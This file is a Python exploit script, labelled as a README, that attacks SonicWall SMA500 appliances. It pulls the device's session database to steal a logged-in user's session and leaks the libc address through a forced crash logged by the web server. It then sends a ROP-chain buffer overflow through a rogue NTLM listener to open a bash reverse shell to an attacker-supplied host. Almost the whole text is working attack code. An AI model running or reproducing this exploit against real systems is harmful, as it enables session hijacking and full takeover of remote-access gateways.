README.md
Rendering markdown...
from pwn import *
import base64
import re
import sqlite3
from threading import Thread
import socket
import argparse
import requests
requests.packages.urllib3.disable_warnings()
def web_listener(port,exploit_auth):
log.info("Starting listener")
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind(("0.0.0.0", port))
s.listen()
count = 0
while count < 3:
conn, addr = s.accept()
with conn:
print(f"Connected by {addr}")
data = conn.recv(4096)
#print("Received %s" % (data,))
log.info("Sending payload")
conn.send(b'HTTP/1.0 401 Unauthorized\r\n')
conn.send(b'Host: 192.168.142.141:8888\r\n')
conn.send(b'Date: Tue, 29 Oct 2024 13:54:37 GMT\r\n')
conn.send(b'WWW-Authenticate: NTLM ' + exploit_auth + b'\r\n')
conn.send(b'Connection: close\r\n')
conn.send(b'Content-type: text/html; charset=UTF-8\r\n')
conn.send(b'Content-Length: 4\r\n')
conn.send(b'\r\ntoto')
count += 1
parser = argparse.ArgumentParser(
prog='SonicWall SMA500 RCE exploit',
description='Execute some arbitrary command on the SMA, needs one active session to exist',
)
parser.add_argument('TARGET', help='target ip/hostname')
parser.add_argument('DPORT', type=int, help='target port')
parser.add_argument('LPORT', type=int, help='local Web port')
parser.add_argument('MYIP', help='Attacker IP address for reverse shell')
parser.add_argument('SHELLPORT', type=int, help='Port for reverse shell')
args=parser.parse_args()
def gen_payload(i):
#Get sessions
TARGET = args.TARGET
DPORT = args.DPORT
LPORT = args.LPORT
CMD = "bash -i >& /dev/tcp/" + args.MYIP + "/" + str(args.SHELLPORT) + " 0>&1" + "\x00"
sqlite = wget("https://"+TARGET + ":" + str(DPORT) + "/tmp/temp.db%3f.10.2.1.13-72sv.css",verify=False)
f = open("/tmp/temp.db.sqlite","wb")
f.write(sqlite)
f.close()
con = sqlite3.connect("/tmp/temp.db.sqlite")
cur = con.cursor()
res = cur.execute("select sessionId,userName from Sessions")
resp = res.fetchone()
if resp:
log.success("Found session for user %s (%s) " % (resp[1],resp[0]))
swap = base64.b64encode(resp[0].encode())
log.info("Swap cookie value : %s" % (swap,))
else:
log.error("Could not find an active session :'(")
exit(1)
# Stack overflow to generate stacktrace in log file
try:
log.info("Generating stack trace")
resp = requests.get("https://" + TARGET + ":" + str(DPORT)+ '/go/https://localhost:80/', verify=False, headers={'Cookie':'swap='+swap.decode()+"; __proxy_ssl_vpn__AUTHREQD__localhost__80__ReqMethodAndType=GET__NTLM__"+"A"*2880})
print(resp.content)
log.error("Looks like something went wrong")
except:
log.info("Generated stack trace")
# Get LIBC base
logfile = wget("https://"+TARGET + ":" + str(DPORT) + "/usr/src/EasyAccess/var/logs/httpd.log%3f.10.2.1.13-72sv.css",verify=False)
m=re.search(b'(\w{8})-.+?/lib/libc-2.14.1.so\n',logfile)
if m:
log.success("Found libc base address : " + m.group(1).decode())
LIBC = int(m.group(1),16)
else:
log.error("Could not find LIBC base in logs :'(")
exit(2)
# Will need to BF this on a real target
CANARY = 0x90251800
# Construct payload with ropchain
exploit_payload = b"A" * 1000 # Initial padding
exploit_payload += CMD.encode() + b"B" * (76 - len(CMD)) # Reverse shell command
exploit_payload += p32(CANARY) # Canary overwrite
exploit_payload += b"f" * 12 # Padding
exploit_payload += p32(0x00000040) # Offset to ESP+4 when calling system
exploit_payload += b"f" * 12 # Padding
exploit_payload += p32(LIBC+0x000d473c) # push esp ; pop esi ; pop edi ; pop ebp ; ret
exploit_payload += b"C" * 8 # edi and ebp
exploit_payload += p32(LIBC+0x00069c4c) # add esi, ebx ; ret
exploit_payload += p32(LIBC+0x0007dd1f) # mov eax, esi ; pop esi ; ret
exploit_payload += b"SCRT" # esi
exploit_payload += p32(LIBC+0x00060454) # xchg edx, eax ; ret
exploit_payload += p32(LIBC+0x000d473c) # push esp ; pop esi ; pop edi ; pop ebp ; ret
exploit_payload += b"SCRTSCRT" # edi, ebp
exploit_payload += p32(LIBC+0x00019600) # pop ebx ; ret
exploit_payload += p32(0xffffff74) # Negative offset to CMD string
exploit_payload += p32(LIBC+0x00069c4c) # add esi, ebx ; ret
exploit_payload += p32(LIBC+0x0007dd1f) # mov eax, esi ; pop esi ; ret
exploit_payload += b"SCRT" # esi
exploit_payload += p32(LIBC+0x000d7ab9) # mov dword ptr [edx + 4], eax ; ret
exploit_payload += p32(LIBC+0x0003dfc0) # system
exploit_payload += b"SCRTTEAM" # very important
exploit_auth = base64.b64encode(exploit_payload)
# Start server listener
t = Thread(target=web_listener, args=[LPORT,exploit_auth])
t.start()
l = listen(args.SHELLPORT)
# Trigger exploit
try:
requests.get("https://" + TARGET + ":" + str(DPORT)+ '/go/http://' + args.MYIP + ':' + str(LPORT) + '/auth.php', timeout=1, verify=False, headers={'Cookie':'swap='+swap.decode(),'Authorization':'Basic YXNkZmRzYWFmZHNhZmRzYWZkc2E='})
except:
log.info("Conn timed out, should be a good sign....")
log.info("Attempting to open shell")
l.interactive()